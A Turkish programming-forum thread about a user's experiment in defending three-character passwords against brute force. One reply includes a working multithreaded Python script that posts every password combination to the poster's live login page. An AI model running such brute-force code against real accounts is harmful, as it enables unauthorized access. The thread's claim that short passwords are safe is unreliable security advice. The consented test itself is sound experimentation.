Buruteforce Attack Engelleyici

Öncelikle yapıcı eleştirileriniz için teşekkür ederim, ki forumda paylaşmak istememin en önemli sebebi buydu. Kendi bildiklerimle önlemler alıyorum ama aklıma gelmeyen yada atladığım şeyler de olabilir. Mesela sql injection için önlem aldım ama kullanıcı adı uzunluğunu atlamışım. Diğer hususları da cevaplamaya çalışayım;

Ben bir milyonun üzerinde deneme yaptım. içlerinde gerçek parola da olmasına rağmen hesap kırılmadı. Ama sadece benim denemem yeterli değil sanırım.

Gerçekten cihaz ip, macid ve bezeri hiçbir kimlik bilgisine dayanmıyor. Verdiğim karakter seti tamamen geçerli, ve parola bu set içinden sadece üç karakterden oluşuyor.

Memnun olurum, kendiminki ile karşılaştır ve sizinkiyle de denemeler yaparım.

Tasarladığım yöntemin birincil amacı; Kullanıcıyı hatırlanması zor şifrelerden kurtarabilmek ve eğer başarılı olursa evet, “asd1” gibi bir şifre bence kesinlikle daha kullanıcı dostu. Zira zaman zaman kendi dalgınlığımız sebebi ile bile hesabımız askıya alınabiliyor yada capcha gibi can sıkıcı şeylerle uğraşmak zorunda kalabiliyoruz. Milyonda bir başa gelebilecek bir hacklenme ihtimali yüzünden birbirinden farklı ve karmaşık birçok parolayı artık yazıp saklayacak güvenli bir yer bile bulmakta zorlanıyorum şahsen.

Hala eksikler vardır eminim. Benim henüz bilmediğim, önlem almadığım başka saldırı şekilleri de. Amacım varsayımsal olarak bütün standart tedbirler alınmış bir sistemde sadece "üç haneli parola kırılabilirmi?" yi test etmek istemiştim. Bahsettiğiniz servis ve uygulamalardan malesef haberim yok. Önereceğiniz bir adres yada başka bir bilgi varsa sevinirim.

Halledildi :slight_smile:

Aklıma gelen başka bir yol da, giriş denemelerinin arasındaki süreyi ölçüyorsunuzdur. Belirli bir süre içerisinde deneme sınırını aşanları sisteme almıyorsunuzdur. Şahsen gerçek bir sistemle uğraşıyor olsaydım öncelikle sisteme üye olup şifremi alırdım. Sonra da şifreyi hangi durumlarda yanlış girersem engellendiğimi öğrenirdim, yani ön araştırma yapardım. Sonra script yazardım.

Ayrıca hatalı giriş limitini senin için kaldırdık yazmışsınız, gerçekten limite bakmadığınıza emin misiniz :smile:

1 Beğeni

Merhaba, gecikme için üzgünüm. Birkaç düzeltme yapmam gerekti de.
Kullanıcı adı olarak ‘aaaaaaaa’ yada ‘11111111’ gibi adlar kullanan arkadaşlar muhtemel bir açığı farketmeme neden oldu. (sizlerle paylaşıp teste açmam gerçekten iyi oldu, ayrıca teşekkürler.) parolalar her üyeye özel olsun diye (ve tabii sonra benim bilebilmem açısından) kullanıcı adlarınızdan üretiliyordu. Lakin böyle bütün harfleri aynı yapınca üç karaktrli parola da “aaa” yada “111” oluverdi ki çok fecii :smiley:

Tabi kimse böyle bir kullanıcı adı kullanmaz kendine ama testin sağlığı açısından sakıncalı. Neyse şimdi birz daha karmaşık bir algoritma ile üretiliyor parolalarınız :slight_smile:

Hayır dostum, süre ölçümü de yok. parola giriş sıklık kontrolü de. Deneme yanılma yapıyorsan atlatıyor okadar. Ve evet limit yok. Sen bir milyon hatalı parola gir, ben hemen arkadan doğruyu yazar girerim.

Bu arada karakter setini biraz daha daralttım. Şimdi 65 karakter yani 3 haneli olarak 274625 ihtimal var sadece. Geçerli karakter seti;
“ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_@.”

Tabii bu yaparım ederimler sadece birer iddia, kendi denemelerimde aldığım sonuçlar. Ben şu anda hatamı arıyorum varsa eğer…

Bu hususta bilgi ve denemem için saldırı kodlarınızı paylaşıcaktınız. Müsait olduğunuzda, lütfen bekliyorum.

O kullanıcı adlarını alan bendim. Evet böyle bir ihtimali düşünmüştüm, sanki “aaa” girince giriş yapamamıştım diye hatırlıyorum neden bilmiyorum.

Enteresan, kodları merak ettim doğrusu…

Kusura bakmayın atacağım demiştim ama unutmuşum. Müsait olunca atarım.

Kod bu:

import socket
from threading import Thread
import requests
from requests.exceptions import ConnectTimeout
from requests.exceptions import ReadTimeout

def combinator(karakterler, uzunluk, i=0):
    l = len(karakterler)
    for i in range(i, l ** uzunluk):
        s = ""
        for j in range(uzunluk):
            i, index = divmod(i,l)
            s += karakterler[index]
        yield s

karakterler = "ABCÇDEFGĞHIİJKLMNOÖPQRSŞTUÜVWXYZabcçdefgğhiijklmnoöpqrsştuüvwxyz0123456789-_@"

def main():
    global sayaç, generator
    while True:
        try:
            with requests.Session() as s:
                s.headers.update({'User-Agent': 'Custom user agent'})
                s.get("http://www.savadizayn.com.tr/BFA/")
                r = s.post("http://www.savadizayn.com.tr/BFA/", data = {"user":"Denemeee", "submit":"İleri"})
                for i in generator:
##                    print(i + "\n", end = "")
                    r = s.post("http://www.savadizayn.com.tr/BFA/parola.php", data = {"parola":i, "submit2":"İleri"}, timeout=5)
                    if r.status_code != 200: print("İstek başarısız.")
                    sayaç += 1
                    if sayaç % 100 == 0:
                        print(sayaç)
        except (ConnectTimeout, ReadTimeout, ConnectionError) as e: print(e)
            
            

def spawn():
    for i in range(20):
        t = Thread(target = main)
        t.daemon = True
        t.start()


if __name__ == "__main__":
    sayaç = 0
    generator = combinator(karakterler, 3)
    spawn()
    main()

Eğer internetiniz iyiyse thread sayısını arttırabilirsiniz.

1 Beğeni

Neden .join()kullanmadınız

Birde divmod gömülü fonksiyonu ne işe yarıyor ?

1 Beğeni

Lütfen yanlış anlamayın ama neden help(divmod) yazarak öğrenmeye çalışmıyorsunuz ve sonra da tarif edildiği şekliyle bir örnek yapmıyorsunuz? Bu yaklaşım sizin araştırma becerinize de katkı sağlar.

Help on built-in function divmod in module builtins:

divmod(x, y, /)
    Return the tuple (x//y, x%y).  Invariant: div*y + mod == x.
(END)
>>> divmod(4,2)
(2, 0)
>>> 

Not: Sizi kırma, küçük düşürme gibi bir niyetim yoktu. Ama eğer kırıldıysanız sizden özür dilerim. Ben sadece kendi kaynaklarınıza başvurarak sorduğunuz soruya zaten cevap bulabileceğinizi hatırlatmak istedim.

3 Beğeni

Ne işe yaradığını biliyor musunuz?

String class inin join metodu

Tamam :sweat_smile: Bilmem neden kullanıyım, combinatorde mi?

Evet kodun o kısmı ndan bahsediyorum :rofl:

Siz join kullanıp gösterebilirmisiniz?

Şuan telefondan yazamıyorum ama bir generator
Ve lambda ile yapılamaz mı sonuçta gör döngüsünün yaptığı iterasyobu generator ile yaparız zaten join metodunun içinde next fonksiyonu var öyle dusundum

Yapılabilir zaten, ben yapılamaz demedim. Ama ona kafa yormaya lüzum var mı bilmiyorum, hem bu hali ile gayet okunabilir.

Kod kısaltmak yaptığımız programı daha hızlı hale getirmez mi şahsen öyle düşünüyorum

Kirilmadim sıkıntı yok zaten bu forumda alışkınım
:rofl:

:slightly_smiling_face: Sizin yazdığınız kodun kısalması mı, çağırdığınız fonksiyonun kaç satır koddan oluştuğu mu yoksa bu kodların ve yönergelerin aslında işlemciye ne yaptırdığı mı performans konusunda önemli?

Python’daki gömülü fonksiyonlar genel olarak optimize edilmiş olsa da bizim oluşturacağımız lambda fonksiyonların çağırılma sürelerinin basit bir döngüye kıyasla pahalı olacağını düşünüyorum. İstiyorsanız yazın, timeit ile karşılaştıralım.

Peki bu gömülü fonksiyonlarının hızlı çalışma sebebi c ile yazılmasını